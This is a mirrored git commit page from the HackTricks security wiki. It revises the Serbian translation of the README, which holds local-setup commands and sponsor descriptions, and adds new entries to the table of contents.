mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
53a94ce447
commit
f80d65de84
File diff suppressed because one or more lines are too long
126
src/README.md
126
src/README.md
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
_Hacktricks logotipi i animacija dizajnirani od_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
_Hacktricks logotipi i motion dizajn od_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
### Pokrenite HackTricks lokalno
|
### Pokretanje HackTricks lokalno
|
||||||
```bash
|
```bash
|
||||||
# Download latest version of hacktricks
|
# Download latest version of hacktricks
|
||||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||||
@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
|
|||||||
# Run the docker container indicating the path to the hacktricks folder
|
# Run the docker container indicating the path to the hacktricks folder
|
||||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||||
```
|
```
|
||||||
Vaša lokalna kopija HackTricks biće **dostupna na [http://localhost:3337](http://localhost:3337)** nakon <5 minuta (potrebno je da se izgradi knjiga, budite strpljivi).
|
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
|
||||||
|
|
||||||
## Korporativni sponzori
|
## Corporate Sponsors
|
||||||
|
|
||||||
### [STM Cyber](https://www.stmcyber.com)
|
### [STM Cyber](https://www.stmcyber.com)
|
||||||
|
|
||||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) je sjajna kompanija za sajber bezbednost čiji je slogan **HACK THE UNHACKABLE**. Oni sprovode sopstvena istraživanja i razvijaju svoje alate za hakovanje kako bi **ponudili nekoliko vrednih usluga sajber bezbednosti** kao što su pentesting, Red timovi i obuka.
|
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HACK THE UNHACKABLE**. Oni sprovode sopstvena istraživanja i razvijaju svoje hacking alate kako bi **ponudili nekoliko vrednih usluga sajber bezbednosti** kao što su pentesting, Red teams i obuke.
|
||||||
|
|
||||||
Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
Možete pogledati njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||||
|
|
||||||
**STM Cyber** takođe podržava projekte otvorenog koda u oblasti sajber bezbednosti kao što je HackTricks :)
|
**STM Cyber** takođe podržava open source projekte iz oblasti sajber bezbednosti poput HackTricks :)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -51,7 +51,7 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
|||||||
|
|
||||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija manifestacija sajber bezbednosti u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja profesionalaca u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj za sajber bezbednost u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres predstavlja vrelu tačku susreta za profesionalce iz tehnologije i sajber bezbednosti u svim disciplinama.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.rootedcon.com/
|
https://www.rootedcon.com/
|
||||||
@ -63,9 +63,9 @@ https://www.rootedcon.com/
|
|||||||
|
|
||||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti** je **Evropa #1** etička platforma za hakovanje i **bug bounty platforma.**
|
**Intigriti** je **Europe's #1** ethical hacking i **bug bounty platform.**
|
||||||
|
|
||||||
**Saveta za bug bounty**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
**Bug bounty tip**: **registrujte se** na **Intigriti**, premium **bug bounty platformu kreiranu od strane hackera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) već danas i počnite da zarađujete nagrade do **$100,000**!
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://go.intigriti.com/hacktricks
|
https://go.intigriti.com/hacktricks
|
||||||
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
|
|||||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.
|
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da lako gradite i **automatizujete workflows** pokretane najnaprednijim alatima zajednice.
|
||||||
|
|
||||||
Pristupite danas:
|
Get Access Today:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||||
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
|||||||
|
|
||||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na bugove!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server da komunicirate sa iskusnim hackerima i bug bounty lovcima!
|
||||||
|
|
||||||
- **Uvidi u hakovanje:** Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
- **Hacking Insights:** Angažujte se sa sadržajem koji ulazi u uzbuđenje i izazove hacking-a
|
||||||
- **Vesti o hakovanju u realnom vremenu:** Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
- **Real-Time Hack News:** Budite u toku sa brzim vestima iz sveta hack-a i uvidima u realnom vremenu
|
||||||
- **Najnovija obaveštenja:** Budite informisani o najnovijim nagradama za bugove i važnim ažuriranjima platforme
|
- **Latest Announcements:** Ostanite informisani o najnovijim bug bounty pokretanjima i važnim ažuriranjima platforme
|
||||||
|
|
||||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hackerima već danas!
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Osnovni alat za penetraciono testiranje
|
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
|
||||||
|
|
||||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak**
|
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||||
|
|
||||||
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploite za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Koristite naših 20+ prilagođenih alata da mapirate attack surface, pronađete sigurnosne probleme koji omogućavaju eskalaciju privilegija, i koristite automatizovane exploite da prikupite ključne dokaze, pretvarajući vaš rad u ubedljive izveštaje.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
|||||||
|
|
||||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**SerpApi** nudi brze i lake API-je u realnom vremenu za **pristup rezultatima pretraživača**. Oni pretražuju pretraživače, upravljaju proxy-ima, rešavaju captcha, i analiziraju sve bogate strukturirane podatke za vas.
|
**SerpApi** nudi brze i jednostavne real-time API-je za **access search engine results**. Oni skrejpu search engine-e, rešavaju proxy probleme, rešavaju captche, i parsiraju sve bogate strukturirane podatke za vas.
|
||||||
|
|
||||||
Pretplata na jedan od planova SerpApi uključuje pristup više od 50 različitih API-ja za pretraživanje različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za skrejpovanje različitih search engine-a, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
||||||
Za razliku od drugih provajdera, **SerpApi ne pretražuje samo organske rezultate**. Odgovori SerpApi dosledno uključuju sve oglase, inline slike i video zapise, grafove znanja i druge elemente i funkcije prisutne u rezultatima pretrage.
|
Za razliku od drugih provajdera, **SerpApi ne skrepuje samo organic rezultate**. SerpApi odgovori dosledno uključuju sve oglase, inline slike i video, knowledge graphs i druge elemente i funkcije prisutne u rezultatima pretrage.
|
||||||
|
|
||||||
Trenutni kupci SerpApi uključuju **Apple, Shopify i GrubHub**.\
|
Trenutni SerpApi korisnici uključuju **Apple, Shopify, and GrubHub**.\
|
||||||
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\
|
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\
|
||||||
Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign_up)**.**
|
Možete **kreirati besplatan nalog** [**ovde**](https://serpapi.com/users/sign_up)**.**
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### [8kSec Academy – Dubinski kursevi mobilne bezbednosti](https://academy.8ksec.io/)
|
### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
|
||||||
|
|
||||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Naučite tehnologije i veštine potrebne za sprovođenje istraživanja ranjivosti, penetracionog testiranja i obrnute inženjeringa kako biste zaštitili mobilne aplikacije i uređaje. **Savladajte iOS i Android bezbednost** kroz naše kurseve na zahtev i **dobijte sertifikat**:
|
Naučite tehnologije i veštine potrebne za izvođenje vulnerability research, penetration testing i reverse engineering-a kako biste štitili mobilne aplikacije i uređaje. **Usavršite iOS i Android security** kroz naše on-demand kurseve i **osvojite sertifikat**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://academy.8ksec.io/
|
https://academy.8ksec.io/
|
||||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
|||||||
|
|
||||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.net) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko po svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
[**WebSec**](https://websec.net) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** preduzeća ** širom sveta** protiv najnovijih prijetnji pružajući **offensive-security services** sa **modernim** pristupom.
|
||||||
|
|
||||||
WebSec je međunarodna bezbednosna kompanija sa kancelarijama u Amsterdamu i Vajomingu. Oni nude **sve-u-jednom usluge bezbednosti** što znači da rade sve; Pentesting, **Bezbednosne** revizije, Obuke o svesti, Phishing kampanje, Revizije koda, Razvoj eksploita, Outsourcing bezbednosnih stručnjaka i još mnogo toga.
|
WebSec je internacionalna security kompanija sa kancelarijama u Amsterdamu i Wyoming-u. Nude **all-in-one security services** što znači da rade sve; Pentesting, **Security** Audite, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Security Experts Outsourcing i mnogo više.
|
||||||
|
|
||||||
Još jedna zanimljiva stvar o WebSec-u je da, za razliku od proseka u industriji, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako navode na svojoj veb stranici "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihovu [**vеб страницу**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)!
|
Još jedna dobra stvar kod WebSec-a je što, za razliku od proseka u industriji, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuju najbolje rezultate**, kako stoji na njihovom sajtu "**If we can't hack it, You don't pay it!**". Za više informacija pogledajte njihov [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)!
|
||||||
|
|
||||||
Pored navedenog, WebSec je takođe **posvećen podržavalac HackTricks.**
|
Pored navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a.**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||||
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
|||||||
|
|
||||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) je pretraživač podataka o curenjima (leak). \
|
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) je search engine za data breach (leak). \
|
||||||
Pružamo pretragu nasumičnih stringova (poput google-a) preko svih vrsta curenja podataka, velikih i malih --ne samo velikih-- iz više izvora. \
|
Pružamo random string search (kao google) preko svih tipova data leaks velikih i malih --ne samo velikih-- preko podataka iz više izvora. \
|
||||||
Pretraga ljudi, pretraga AI, pretraga organizacija, API (OpenAPI) pristup, integracija theHarvester, sve funkcije koje pentesteru trebaju.\
|
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, sve funkcije koje pentester treba.\
|
||||||
**HackTricks nastavlja da bude sjajna platforma za učenje za sve nas i ponosni smo što je sponzorišemo!**
|
**HackTricks nastavlja da bude sjajna learning platforma za sve nas i ponosni smo što je sponzorišemo!**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||||
@ -180,15 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
|||||||
|
|
||||||
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
|
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Izgrađeno za teren. Izgrađeno oko vas.**\
|
|
||||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) razvija i pruža efikasnu obuku u oblasti sajber bezbednosti koju vode
|
|
||||||
stručnjaci iz industrije. Njihovi programi prevazilaze teoriju kako bi opremili timove dubokim
|
|
||||||
razumevanjem i praktičnim veštinama, koristeći prilagođena okruženja koja odražavaju stvarne
|
|
||||||
pretnje. Za upite o prilagođenoj obuci, obratite nam se [**ovde**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
|
||||||
|
|
||||||
**Šta izdvaja njihovu obuku:**
|
**Built for the field. Built around you.**\
|
||||||
* Prilagođeni sadržaj i laboratorije
|
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) razvija i isporučuje efektivne cybersecurity treninge koje vode i kreiraju eksperti iz industrije. Njihovi programi idu dalje od teorije kako bi opremili timove dubokim razumevanjem i praktičnim veštinama, koristeći prilagođena okruženja koja odražavaju stvarne pretnje.
|
||||||
* Podržano vrhunskim alatima i platformama
|
Za upite o custom treninzima, obratite nam se [**ovde**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||||
|
|
||||||
|
**Šta izdvaja njihove treninge:**
|
||||||
|
* Custom-built content i labovi
|
||||||
|
* Podržano od strane vrhunskih alata i platformi
|
||||||
* Dizajnirano i predavano od strane praktičara
|
* Dizajnirano i predavano od strane praktičara
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -201,19 +200,19 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
|||||||
|
|
||||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Last Tower Solutions pruža specijalizovane usluge sajber bezbednosti za **obrazovne** i **FinTech**
|
Last Tower Solutions pruža specijalizovane usluge sajber bezbednosti za **Education** i **FinTech**
|
||||||
institucije, sa fokusom na **penetraciono testiranje, procene bezbednosti u oblaku**, i
|
institucije, sa fokusom na **penetration testing, cloud security assessments**, i
|
||||||
**pripremu za usklađenost** (SOC 2, PCI-DSS, NIST). Naš tim uključuje **OSCP i CISSP
|
**compliance readiness** (SOC 2, PCI-DSS, NIST). Naš tim uključuje **OSCP and CISSP
|
||||||
sertifikovane profesionalce**, donoseći duboku tehničku stručnost i uvide standarda industrije u
|
sertifikovane profesionalce**, donoseći duboku tehničku ekspertizu i industrijski utemeljene uvide u
|
||||||
svaku saradnju.
|
svaki angažman.
|
||||||
|
|
||||||
Idemo dalje od automatizovanih skeniranja sa **ručno, inteligencijom vođenim testiranjem** prilagođenim
|
Mi prelazimo preko automatizovanih skeniranja sa **manual, intelligence-driven testing** prilagođenim
|
||||||
visokim rizicima. Od obezbeđivanja studentskih podataka do zaštite finansijskih transakcija,
|
okruženjima visokog rizika. Od zaštite studentskih podataka do zaštite finansijskih transakcija,
|
||||||
pomažemo organizacijama da brane ono što je najvažnije.
|
pomažemo organizacijama da brane ono što je najvažnije.
|
||||||
|
|
||||||
_„Kvalitetna odbrana zahteva poznavanje napada, pružamo sigurnost kroz razumevanje.”_
|
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
||||||
|
|
||||||
Budite informisani i u toku sa najnovijim u sajber bezbednosti posetom našem [**blogu**](https://www.lasttowersolutions.com/blog).
|
Ostanite informisani i u toku sa najnovijim u sajber bezbednosti posetom našem [**blogu**](https://www.lasttowersolutions.com/blog).
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://www.lasttowersolutions.com/
|
https://www.lasttowersolutions.com/
|
||||||
@ -221,16 +220,31 @@ https://www.lasttowersolutions.com/
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Licenca i odricanje od odgovornosti
|
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||||
|
|
||||||
Proverite ih u:
|
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
K8Studio IDE omogućava DevOps, DevSecOps i developerima da upravljaju, nadgledaju i štite Kubernetes clustere efikasno. Iskoristite naše AI-driven uvide, napredni security framework i intuitivni CloudMaps GUI da vizualizujete svoje clustere, razumete njihov status i delujete sa poverenjem.
|
||||||
|
|
||||||
|
Štaviše, K8Studio je **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
https://k8studio.io/
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## License & Disclaimer
|
||||||
|
|
||||||
|
Check them in:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
welcome/hacktricks-values-and-faq.md
|
welcome/hacktricks-values-and-faq.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Github Statistika
|
## Github Stats
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
{{#include ./banners/hacktricks-training.md}}
|
{{#include ./banners/hacktricks-training.md}}
|
||||||
|
@ -59,6 +59,7 @@
|
|||||||
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||||
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||||
|
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
|
||||||
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||||
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||||
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||||
@ -82,6 +83,7 @@
|
|||||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||||
|
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
|
||||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||||
|
|
||||||
@ -102,6 +104,7 @@
|
|||||||
|
|
||||||
# 🐧 Linux Hardening
|
# 🐧 Linux Hardening
|
||||||
|
|
||||||
|
- [Linux Basics](linux-hardening/linux-basics.md)
|
||||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||||
@ -570,6 +573,7 @@
|
|||||||
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
|
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
|
||||||
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
|
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
|
||||||
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
|
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
|
||||||
|
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
|
||||||
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
|
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
|
||||||
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
|
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
|
||||||
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||||
@ -587,6 +591,7 @@
|
|||||||
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
||||||
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
|
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
|
||||||
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
||||||
|
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
|
||||||
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||||
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||||
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||||
@ -843,6 +848,7 @@
|
|||||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
